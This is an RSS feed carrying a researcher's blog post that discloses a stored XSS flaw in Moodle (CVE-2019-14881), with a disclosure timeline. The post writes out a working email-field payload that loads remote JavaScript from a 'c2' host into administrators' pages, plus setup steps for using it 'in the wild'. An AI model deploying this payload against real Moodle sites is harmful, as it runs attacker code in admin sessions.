<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>CVE-2019-14881 &#8211; Yuri Zwaig</title>
	<atom:link href="https://blog.tadeu.work/tag/cve-2019-14881/feed/" rel="self" type="application/rss+xml" />
	<link>https://blog.tadeu.work</link>
	<description></description>
	<lastBuildDate>Sun, 31 May 2020 23:55:45 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=5.9</generator>
	<item>
		<title>CVE-2019-14881 @ Moodle &#8211; Stored-Xss on email reflected on various pages</title>
		<link>https://blog.tadeu.work/cve-2019-14881/</link>
					<comments>https://blog.tadeu.work/cve-2019-14881/#respond</comments>
		
		<dc:creator><![CDATA[tuyuri]]></dc:creator>
		<pubDate>Fri, 22 Nov 2019 05:37:06 +0000</pubDate>
				<category><![CDATA[CVEs]]></category>
		<category><![CDATA[Moodle]]></category>
		<category><![CDATA[CVE-2019-14881]]></category>
		<category><![CDATA[moodle]]></category>
		<category><![CDATA[sxss]]></category>
		<guid isPermaLink="false">https://blog.tadeu.work/?p=7</guid>

					<description><![CDATA[This blogpost is about a Stored Xss vulnerability which I found in Moodle in September, 2019. It was fixed in November 2019 and was assigned CVE-2019-14881. TLDR: If You especially craft a payload ( like "&#62;&#60;svg/onload=import('https://c2.tadeu.work/a.js')&#62;"@tadeu.work ) and update your email you can execute javascript in certain pages like “browse users” in the admin area&#8230; <a class="more-link" href="https://blog.tadeu.work/cve-2019-14881/">Continue reading <span class="screen-reader-text">CVE-2019-14881 @ Moodle &#8211; Stored-Xss on email reflected on various pages</span></a>]]></description>
										<content:encoded><![CDATA[
<p> This blogpost is about a Stored Xss vulnerability which I found in Moodle in  September, 2019. It was fixed in November 2019 and was assigned CVE-2019-14881. </p>



<p>TLDR: If You especially craft a payload ( like <code>"&gt;&lt;svg/onload=import('https://c2.tadeu.work/a.js')&gt;"@tadeu.work</code> ) and update your email you can execute javascript in certain pages like “browse users” in the admin area</p>



<ul><li>Preparing the environment  </li><li>Crafting and sending the payload</li><li>Confirming Email</li><li>Profit</li><li>Timeline</li><li>References</li></ul>



<h2>Preparing the environment</h2>



<p>First you will need to ensure that the target&#8217;s version is between 3.7 and 3.7.2  ( <a rel="noopener noreferrer" href="https://stackoverflow.com/questions/11548150/getting-moodle-version-info-no-admin-access" target="_BLANK">How to</a> )</p>



<p>To use this vulnerability in the wild you will need to redirect all incoming email ( or all email with unknown addresses ) of your domain to an unique email. If you don’t know how to do it you can use cpanel ( it automatically redirects any unknow recipients to your main email account )</p>



<p>If you are going to insert a remote script it&#8217;s important to allow cross site origin requests to your host, you can easily set it by adding this line in your root .htaccess : <br><code>Header Set Access-Control-Allow-Origin "*"</code></p>



<p></p>



<h2>Crafting and sending the payload </h2>



<p>The payload is simple, but you need to watch the email&#8217;s input char limit (100 chars) <br>The payload is : &nbsp;<br>&#8220;<code>&gt;&lt;svg/{$METHOD}={$JS_CODE}&gt;"@{$DOMAIN} </code><br><br>Using this design to download a remote javascript we get : <br><code>"&gt;&lt;svg/onload=import('https://c2.tadeu.work/a.js')&gt;"@tadeu.work</code><br></p>



<p><a href="https://c2.tadeu.work/a.js">https://c2.tadeu.work/a.js</a> content is : <br><code>alert('xss');</code></p>



<figure class="wp-block-image size-large"><img width="1024" height="518" src="https://blog.tadeu.work/wp-content/uploads/2019/11/setEmailToPayload-1024x518.png" alt="" class="wp-image-12" srcset="https://blog.tadeu.work/wp-content/uploads/2019/11/setEmailToPayload-1024x518.png 1024w, https://blog.tadeu.work/wp-content/uploads/2019/11/setEmailToPayload-300x152.png 300w, https://blog.tadeu.work/wp-content/uploads/2019/11/setEmailToPayload-768x389.png 768w, https://blog.tadeu.work/wp-content/uploads/2019/11/setEmailToPayload-1536x777.png 1536w, https://blog.tadeu.work/wp-content/uploads/2019/11/setEmailToPayload-1568x793.png 1568w, https://blog.tadeu.work/wp-content/uploads/2019/11/setEmailToPayload.png 1907w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption>Now we insert the payload and save it</figcaption></figure>



<figure class="wp-block-image size-large"><img loading="lazy" width="790" height="339" src="https://blog.tadeu.work/wp-content/uploads/2019/11/validateTheEmail.png" alt="" class="wp-image-13" srcset="https://blog.tadeu.work/wp-content/uploads/2019/11/validateTheEmail.png 790w, https://blog.tadeu.work/wp-content/uploads/2019/11/validateTheEmail-300x129.png 300w, https://blog.tadeu.work/wp-content/uploads/2019/11/validateTheEmail-768x330.png 768w" sizes="(max-width: 790px) 100vw, 790px" /><figcaption>then we confirm the email to apply the email change</figcaption></figure>



<h2>Profit</h2>



<p>Now that you already confirmed your email you will only need to wait any admin load an unsanitize page, like “Browse users” ( you can search in the changelog on Moodle&#8217;s website to see where else it is vulnerable )</p>



<figure class="wp-block-image size-large"><img loading="lazy" width="1024" height="510" src="https://blog.tadeu.work/wp-content/uploads/2019/11/waitTrigger-1024x510.png" alt="" class="wp-image-14" srcset="https://blog.tadeu.work/wp-content/uploads/2019/11/waitTrigger-1024x510.png 1024w, https://blog.tadeu.work/wp-content/uploads/2019/11/waitTrigger-300x149.png 300w, https://blog.tadeu.work/wp-content/uploads/2019/11/waitTrigger-768x382.png 768w, https://blog.tadeu.work/wp-content/uploads/2019/11/waitTrigger-1536x764.png 1536w, https://blog.tadeu.work/wp-content/uploads/2019/11/waitTrigger-1568x780.png 1568w, https://blog.tadeu.work/wp-content/uploads/2019/11/waitTrigger.png 1919w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption>What it looks like when an admin opens the page</figcaption></figure>



<h2>Timeline</h2>



<ul><li>24/09/2019 &#8211; Report sent to tracker.moodle.org</li><li>08/10/2019 &#8211; Initial patch </li><li>11/11/2019 &#8211; Patch release </li><li>18/11/2019 &#8211; Disclosure on security.moodle.org </li></ul>



<h2>References</h2>



<ul><li><a href="https://moodle.org/mod/forum/discuss.php?d=393584#p1586746">https://moodle.org/mod/forum/discuss.php?d=393584#p1586746</a></li><li><a href="https://tracker.moodle.org/browse/MDL-66762">https://tracker.moodle.org/browse/MDL-66762</a></li><li><a href="https://tracker.moodle.org/browse/MDL-21475">https://tracker.moodle.org/browse/MDL-21475</a></li></ul>
]]></content:encoded>
					
					<wfw:commentRss>https://blog.tadeu.work/cve-2019-14881/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
	</channel>
</rss>
